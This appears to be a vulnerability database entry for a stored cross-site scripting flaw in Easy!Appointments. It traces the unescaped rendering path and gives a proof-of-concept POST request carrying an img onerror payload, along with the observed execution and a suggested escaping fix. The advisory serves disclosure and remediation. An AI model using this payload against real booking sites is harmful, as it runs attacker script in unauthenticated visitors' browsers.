CVE-2026-52838Low· 2.6▾ SunlitEasy!Appointments disable_booking_message rendered as raw HTML on public booking page — Stored XSS
▾ Sunlit zone — Low / medium · no exploitation signal
impact 14.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 29.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.2%
0.2% → 0.2%
Easy!Appointments allows administrators to define a custom "booking disabled" message through the booking settings page. That value is stored in the disable_booking_message setting via a rich-text editor and later passed directly to the public booking_message view without escaping or sanitization:
<p><?= vars('message_text') ?></p>
An authenticated administrator can store HTML or JavaScript in this field, enable disabled-booking mode, and trigger stored XSS in every unauthenticated visitor who opens the public booking page.
The booking settings page collects the message value from the Trumbowyg rich-text editor and submits it as raw HTML:
// assets/js/pages/booking_settings.js line 61-92
bookingSettings.push({
name: 'disable_booking_message',
value: $disableBookingMessage.trumbowyg('html'),
});
The backend settings controller persists the submitted value without any HTML sanitization:
// application/controllers/Booking_settings.php line 76-104
$this->settings_model->save($setting);
When booking is disabled, the public booking controller loads the stored message and passes it directly to the view:
// application/controllers/Booking.php line 113-132
$disable_booking_message = setting('disable_booking_message');
html_vars([
'message_text' => $disable_booking_message,
]);
The booking message view emits the value raw using PHP's short echo tag with no escaping:
// application/views/pages/booking_message.php line 10-12
<p><?= vars('message_text') ?></p>
No htmlspecialchars(), no sanitization, no template escaping is applied at any point in this rendering path.
Step 1 — Store malicious disabled-booking message as admin:
POST /index.php/booking_settings/save HTTP/1.1
Host: 127.0.0.1:18094
Cookie: <admin-session-cookie>
Content-Type: application/x-www-form-urlencoded
csrf_token=<token>&booking_settings[0][name]=disable_booking&booking_settings[0][value]=1&booking_settings[1][name]=disable_booking_message&booking_settings[1][value]=<img src=x onerror=alert("easyappointments xss by ashrexon")>
Response: 200 OK — settings saved successfully
Step 2 — Unauthenticated visitor opens public booking page:
GET / HTTP/1.1
Host: 127.0.0.1:18094
(no authentication)
Observed response fragment:
<p><img src=x onerror=alert("easyappointments xss by ashrexon")></p>
Observed browser behavior:
alert("easyappointments xss by ashrexon") executes immediately on page load with no authentication required. Confirmed via browser screenshot attached as comment.
Runtime verification result:
admin login ok
settings save ok
payload reflected on public page
PASS
Easy!Appointments is deployed as a public-facing appointment booking surface for businesses, clinics, and service providers. An administrator can abuse the disabled-booking message — a customer-facing feature intended for maintenance or holiday notices — to plant JavaScript that executes in every visitor's browser when the booking page is disabled. This can be used to:
Escape the message value before rendering in the view:
// application/views/pages/booking_message.php
<p><?= e(vars('message_text')) ?></p>
Alternatively apply a strict HTML sanitizer (allowing only safe formatting tags, no event handlers or script elements) to the disable_booking_message value before storage or before rendering, to preserve intended rich-text formatting while preventing script injection.
Yash Shendge (ashrexon) 2026-05-25
alextselegidis/easyappointments <= 1.5.2Refer to the advisory for the patched release.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-55651High· 7.1Easy!Appointments Vulnerable to Appointments Takeover via Excessive Data Exposure
CVE-2026-52840Low· 2.7Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network
CVE-2026-52839Low· 3.3Easy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass
CVE-2026-52837MediumEasy!Appointments has unauthenticated customer PII disclosure on booking reschedule page
CVE-2026-52841Low· 3.1Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
CVE-2021-41164High· 8.2CKEditor4 is an open source WYSIWYG HTML editor